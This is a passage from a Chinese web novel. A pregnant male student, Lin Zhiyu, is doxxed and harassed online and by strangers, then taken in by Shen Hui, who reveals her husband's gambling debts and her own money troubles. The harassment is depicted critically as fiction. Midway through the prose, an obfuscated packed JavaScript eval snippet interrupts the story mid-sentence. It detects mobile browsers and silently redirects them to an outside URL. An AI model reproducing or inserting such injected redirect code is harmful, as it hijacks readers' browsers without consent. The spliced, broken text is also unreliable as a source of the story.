林知榆回到宿舍的时候天已经完全黑透了。
他把手机插上充电器，去卫生间用冷水洗了把脸。回来的时候手机屏幕亮着，显示有几条未读消息。他以为是周琚又发来了什么，点开一看，却是一个陌生号码发来的。
“你是林知榆？”
“软院的林知榆？”
他愣了一下，没有回复。默默删掉那些消息，把手机调成静音模式，躺到了床上。肚子里的小东西在动来动去，他把手放上去轻轻抚了抚，过了一会儿终于安静下来了。
第二天早上他醒来的时候，发现手机上有十七个未接来电，四十三条未读短信，微信好友申请更是超过了一百条。他坐起身来，点开一条短信。
“知三当三的贱货，还有脸怀孕？”
他面无表情地删掉那条，点开下一条。
“哪个专业的？让大家看看你这副德行。”
下一条。
“怀了就想上位？你爹妈怎么教你的？”
他把手机放下，过了一会儿又拿起来，点开微信。好友申请的验证消息一条一条往下翻：
“小三死全家！！！”
“出来挨骂！”
“你这种人怎么不去死？”
他把微信退了出来，打开浏览器，随便点进一个本地论坛。首页上赫然挂着一个帖子，标题是：某高校男大学生当小三怀孕，正宫丈夫发声。
他点进去。
主楼里是几张截图。前几张是他和周琚在婚恋网站上的聊天记录，还有那张写着他真实姓名和年龄的B超单。最后一张是他的微信主页截图，头像、昵称、微信号，清清楚楚地暴露在所有人面前。
主楼下面还有一行字：这就是那个知三当三的男大学生。和已婚妇女搞在一起，怀孕了还想上位，恶心不恶心？
林知榆继续往下翻。
1L：卧槽，这是我们学校的？哪个学院的？
2L：知三当三还怀孕，真是什么人都有。
3L：他还有脸发帖求助？求什么？求网友帮他上位？
4L：那丈夫真惨，老婆出轨，自己还怀着三胎，还要被这小三恶心。
5L：这小三也不是什么好东西，明知道人家有家庭还往上贴。
6L：建议学校开除这种学生，简直败坏校风。
7L：人肉他，让他彻底社死。
8L：已经扒出来了，是三号楼的，姓林，大三还是大四。
林知榆默默把手机放下。
他站起身来，走到窗边，往外看了一眼。楼下有两个人站在银杏树旁边说话，说话的时候不时往楼上瞥一眼。他下意识地后退一步，把窗帘紧紧拉上。
手机还在不停地震动。一下，一下，又一下。他站在窗帘后面，一动也没动。肚子里的小东西轻轻动了一下，他把手放上去，手心能感受到那轻微的起伏。
他站了很久很久，手机一直在震。
中午的时候辅导员打来电话，问他网上的事情是不是真的。林知榆说：“是真的，但是——”
辅导员打断了他：“你先别解释了，学校这边压力很大，你还是先回去休息一段时间吧。”
林知榆说：“好。”
下午他收拾了一个行李箱。衣服装了几件，书一本也没拿。室友在旁边站着，想说什么，嘴唇动了动，最终还是没有说出口。
林知榆拉上行李箱的拉链，站起身来，看了他一眼，淡淡地说了一句：“走了。”室友默默点了点头。
林知榆拉着行李箱走到门口，室友在后面忽然说了一句：“那个……你自己小心点。”林知榆没有回头。
他是走楼梯下去的。走到三楼的时候手机响了，又是一个陌生号码。他挂掉。又响，他又挂掉。走到一楼的时候手机还在响个不停，他索性把手机关了。
门厅里站着三个人。他们站在公告栏前面，看见林知榆出来，齐刷刷地转过头来。林知榆没有停下脚步，继续拉着行李箱往外走。那三个人跟了上来，其中一个喊了一声：“林知榆？”
林知榆没有理会，继续往前走。
那个人快步追上来，绕到他前面，挡住了去路：“你就是林知榆？”
林知榆终于停了下来。
那人上下打量着他，目光最后落在他的肚子上。宽松的卫衣遮着，看不出什么，但那人还是盯着看了好几秒，问了一句：“真的怀了？”
林知榆没有说话。
那人掏出手机，对着他拍了起来。另外两个人也赶紧拿出手机，从不同角度拍着。林知榆绕过他们，继续往前走。那三个人就跟在后面，一边拍一边说着什么。说的什么他没听清，只感觉一直有人在耳边嗡嗡作响。
走到校门口，他拦了一辆出租车。上车的时候那三个人还站在路边继续拍。司机看了一眼后视镜，问了一句：“去哪儿？”林知榆说了一个地址，是学校老校区附近的一家廉价旅馆。司机又打量了他一眼。
车开出去之后，他回头看了一眼，那三个人还站在校门口。过了一会儿，他们也上了一辆车。
林知榆让司机在城里故意绕了几圈，到达那家旅馆的时候天已经黑了。办理入住之后，他发现房间很小，只有一张床一张桌子，窗户正对着一栋居民楼。
手机一直没敢开机，他不知道外面已经闹成什么样了。窗外的楼里亮着灯，有人在做晚饭，有人在看电视，有人抱着孩子在窗口走来走去。他把窗帘拉上，躺在床上。
肚子里的小东西动了一下。他把手放上去，过了一会儿又动了一下。他闭上眼睛，手一直放在肚子上，就那么躺着。
半夜的时候他被一阵嘈杂的声音惊醒。楼下有人在说话，声音不大，但在寂静的夜里听得格外清晰。他起身走到窗边，轻轻掀开一点窗帘往下看。路灯底下站着三四个人，手里都拿着手机，正往楼上看。其中一个人举起手机，闪光灯猛地亮了一下。
他立刻放下窗帘，后退了两步。
手机还放在桌上，一直关着机。他盯着手机看了很久很久，始终没有动。
楼下的人还在说话，声音断断续续地传上来，听不清在说什么。他就那样站在黑暗里，手放在肚子上，感觉里面的小东西在动。一下，一下，又一下。
6
林知榆在那间狭小的旅馆房间里躲了整整三天。
窗帘始终紧紧拉着，房门也一直反锁着，外卖送到楼下的时候他下去拿过一次，结果楼下蹲守的那些人举着手机一拥而上，他吓得拼命跑回屋里。从那之后他再也不敢点外卖了，只敢通过旅馆大堂买些泡面勉强充饥。
第四天晚上，外面终于安静了下来。
他躺在床上盯着天花板发呆，肚子里的小东西动得特别厉害，他用手按着，却怎么也按不住。楼下忽然有车灯闪了一下，他起初没在意。过了一会儿，手机震动了起来。
又是一个陌生号码。
他挂掉。手机再次震动，还是那个号码。他盯着屏幕看了很久很久，最终还是接了起来。
“下楼。”
他愣住了。
“我在你楼下。”
是沈蕙的声音。
林知榆没有动。电话那头沉默了几秒钟，然后传来她轻声的叹气：“时间不多，你不下来就只能我上去了。”
林知榆挂了电话。他走到窗边，掀开一点窗帘往下看。路灯底下停着一辆车，深蓝色的，是一辆保时捷。车旁边站着一个人，正仰着头往楼上看。
他深吸一口气，走下楼去。
旅馆的门一推开，外面站着的果然是沈蕙。她穿着那件灰色羊绒衫，头发比之前长了一点，脸也瘦了一圈。
“走。”她说。
林知榆没有动。
沈蕙看着他，目光往下移了一点，又很快移了回来。
“走吧，”她又说了一遍，“上车再说。”
林知榆终于跟着她走到车旁边，拉开车门坐了进去。车里还是那股熟悉的淡淡香味，和以前一模一样。沈蕙上了车，发动引擎，倒车，开出停车场。门口蹲着的那几个人举着手机追着拍，车子从他们身边呼啸而过，一刻也没有停留。
车子开了很久很久。
林知榆完全不知道开到哪里去了，只觉得外面的路越来越窄，越来越偏僻。最后车子停在一栋老旧居民楼下面，六层楼高，没有电梯，外墙的墙皮脱落了一块一块的。
沈蕙熄了火，却没有下车。
“这就是我家——现在住的地方。”她说，指了指上面，“五楼。”
林知榆看着她，眼神里带着疑问。
沈蕙解释道：“我爸妈以前住的房子，他们现在在国外生活。这一片儿都是老邻居，外人进不来的。”
林知榆下了车，站在车旁边。沈蕙也下了车，靠在车门上，从包里掏出一沓纸，递给他：“你看看这个。”
林知榆接过那沓纸，低头看了起来。那是一份起诉状，离婚起诉状。原告：沈蕙。被告：周琚。
他继续往下看。
事实与理由部分写得很长，不过时间线能看得很清楚。
周琚自202X年起多次参与网络赌博，尚未还清的欠款高达八十余万元。
202X年5月，周琚以照顾孩子为由，要求沈蕙将工资卡交由他保管，沈蕙同意了。
202X年6月起，周琚多次从该卡中取款，沈蕙询问时他表示全部用于家庭开支。
202X年8月，沈蕙所在公司提供了一个外派机会，周琚极力劝说她接受，沈蕙于9月赴南美工作。
202X年10月，周琚与沈蕙父母因房产问题发生激烈冲突，沈蕙父母被迫出国生活。
202X年1月，沈蕙结束外派返回国内，发现工资卡内余额已不足两万元，询问周琚时他拒绝说明资金去向。
202X年2月，沈蕙提出协议离婚，周琚拒绝。
林知榆缓缓抬起头，看着沈蕙。
沈蕙靠在车门上，没有看他，而是望着对面那栋楼。楼上有一户人家正在做饭，抽油烟机嗡嗡作响。
“那辆车，公司配的。”她说，“是要是我自己的车，早就卖了。”
林知榆没有说话。
“之前我开过顺风车，想赚点儿饭钱，”沈蕙继续说，声音很平静，“后来被周琚举报了，说我是公车私用，账号被封了。”
她顿了顿：“实在没钱吃饭了，没办法。同事给我推荐了一个婚恋网站，注册当托，见一个人给三十块钱，一周结一次账。我就去了。”
林知榆看着她，眼神复杂。
“一周要见十个左右，”她说，“有时候更多。”
林知榆站在那儿，手还紧紧攥着那沓纸。夜风有点凉，把他额前的头发吹乱了。
“那你怎么不跟我说？”他终于问出口。
沈蕙终于转过头看着他，反问了一句：“说了你就会信吗？”
林知榆没有回答。肚子里的小东西踢了一下，他把手放上去，轻轻抚摸着。
沈蕙看见了，视线在他隆起的肚子上停留了一秒，然后移开。她把车门关上，绕过车头，走到他面前。
“上去吧，”她说，“外面凉。”
林知榆没有动。
“你是见每个人都这样吗？”他问，声音有些发紧，“请吃饭，帮忙剔骨头，说下次再见？”
沈蕙愣了一下。
然后她笑了一下，很短暂，很苦涩：“别人喝完咖啡就没有然后了。想蹭饭？美得他们，我可没钱。”
7
那套老旧房子其实没有想象中那么破旧不堪。
林知榆第二天早上醒来之后才真正看清这套房子的模样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297551|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。老式居民楼确实没有电梯，但屋里被打扫得干干净净、井井有条。地板是那种老式的瓷砖，擦得锃亮发光。窗户外面有一个小阳台，晾着两件刚洗过的衣服。楼下有一个小院子，装着铁门，沈蕙的车就停在里面。
“不用交钱，”沈蕙说，“老小区没人收停车费。”
她站在厨房里烧水，煤气灶是老式的，打火的时候需要拧着等一会儿才能点着。林知榆坐在客厅的沙发上——沙发确实也有些年头了，但垫子很软，坐着还挺舒服。
水烧开了之后，沈蕙端了一杯过来放在他面前：“昨晚睡得好吗？”
林知榆说：“还行。”
沈蕙点了点头，在他对面坐了下来。她穿着家居服，头发随便扎着，看起来比之前那几次见面的时候都要放松一些。
中午的时候沈蕙点了外卖。两荤两素，外加两份米饭，凑满减优惠凑了半天才凑够。付款的时候她盯着手机屏幕看了几秒，然后才用指纹支付了。
“花呗付的，”她说，“卡里已经没钱了。”
林知榆看着她。
沈蕙把手机放下，没有看他：“等过两天婚恋网站给我结账，就能还上了。”
林知榆把筷子放下，忽然问了一句：“我问你一件事。”
沈蕙抬起头看着他。
“措施都做了，”林知榆说，语气很平静，没有质问的意思，“为什么我还是怀上了？”
沈蕙愣住了。她看着林知榆，又低下头，看着面前的饭盒。过了好一会儿，她才开口，声音有些闷闷的：“那些安全套……”
她顿了顿：“是我在网上买的。临期处理的，打折，三盒一起买能便宜一半。”
林知榆没有说话。
“我没想过会……”她说，又停住了，咬了咬嘴唇，“我以为保质期也就只是个数字而已。”
林知榆盯着她看了一会儿，然后重新拿起筷子，继续低头吃饭。
沈蕙坐在那儿，一动不动。
“对不起。”她终于说。
林知榆没有抬头，夹了一筷子菜，淡淡地说：“吃饭吧，凉了就不好吃了。”
下午的时候沈蕙坐在阳台上打电话。林知榆在屋里隐约听到几个词：中介、挂牌、看看行情。她挂了电话进来之后，林知榆问了一句：“你要卖房子？”
沈蕙靠在门框上，看着他。
“这套房子能卖个一百来万吧，”她说，“回头换个面积小点的，剩下的钱你生孩子应该够用了。”
林知榆愣了一下：“不用这样的。”
沈蕙看着他，没有说话。
“你不用卖房子，”林知榆说，“这孩子我自己会想办法的。”
沈蕙没有接话。她走到沙发旁边坐下来，离他近了一些。
“我给你算一笔账，”她说，语气认真，“你现在住在这里，吃饭一天三顿，就算都点外卖，一个月至少三千块钱。产检要花钱，生孩子的时候打无痛要花钱，住院也需要花钱。生完孩子之后你要坐月子吧，月子中心要大几万——”
“等等，”林知榆打断了她的话，“谁说要去月子中心了？”
沈蕙看着他。
“我就住在这儿，”林知榆说，语气平静而笃定，“自己做饭就行。”
沈蕙张了张嘴，却不知道该说什么。
林知榆继续往下说：“产检可以刷医保卡，手术费用也能报销一部分，无痛可能报不了，但那个也就两千多块，我自己还是有的。住院也能报销，出院之后剩下的回家慢慢养。”
他顿了顿，像是在心里默默计算着什么：“外卖太贵了，以后我自己做饭。一个月菜钱两个人一千五应该绰绰有余。你做午饭的时候也可以从家里带，不用再在外面买了。”
沈蕙看着他，表情有些发愣。
“我仔细算过了，”林知榆说，“养孩子再加上两个人的基本生活开销，一个月两千块钱应该够了。”
沈蕙没有说话。
她就那么坐在那儿，眼睛看着林知榆，但眼神又好像没有聚焦在他身上。过了好一会儿，她才终于开口，声音有些飘忽：“两千？”
“差不多吧。”
沈蕙再次沉默了。
她脑子里忽然闪过很多画面。周琚上个月说老大幼儿园要涨价，八千块；老二托班五千五；加上他自己吃饭、买东西，一个月怎么也要两三万。她说要离婚的时候周琚说抚养费一个月两万，不然免谈。
这些话她终究没有说出口。
她就那么看着林知榆，他坐在那儿，手放在肚子上，表情认真而专注，像是在跟她讨论一个普普通通的数学题。
“你以前……”她开口，又停住了。
林知榆看着她，等着下文。
“没什么。”沈蕙摇了摇头。
她站起身来，走到窗边，背对着他。外面天色阴沉沉的，楼下院子里的车落了一层灰，灰扑扑的。
“我可以找个活儿干，”林知榆在后面说，“远程的那种，或者生产之前能干几个月的也行。”
沈蕙转过身来看着他。
“不用，”她说，“你好好养着身体就行。”
“那钱的事情——”
“我可以接个私活儿，”沈蕙打断了他，“之前有猎头联系过我，外包的活儿，一单就能顶好几个月的生活费。”
她说着走回沙发旁边，重新坐下来。看着林知榆，忽然笑了一下，很轻很淡。
“两千块钱一个月，”她说，“我还以为是自己听错了。”
林知榆看着她，不太明白她为什么会是这个反应。
沈蕙没有解释什么。她拿过手机，翻出那个猎头的对话框，开始认真地打字回复。林知榆坐在旁边，静静地看着她打字。肚子里的小东西轻轻踢了一下，他把手放上去，过了一会儿又踢了一下。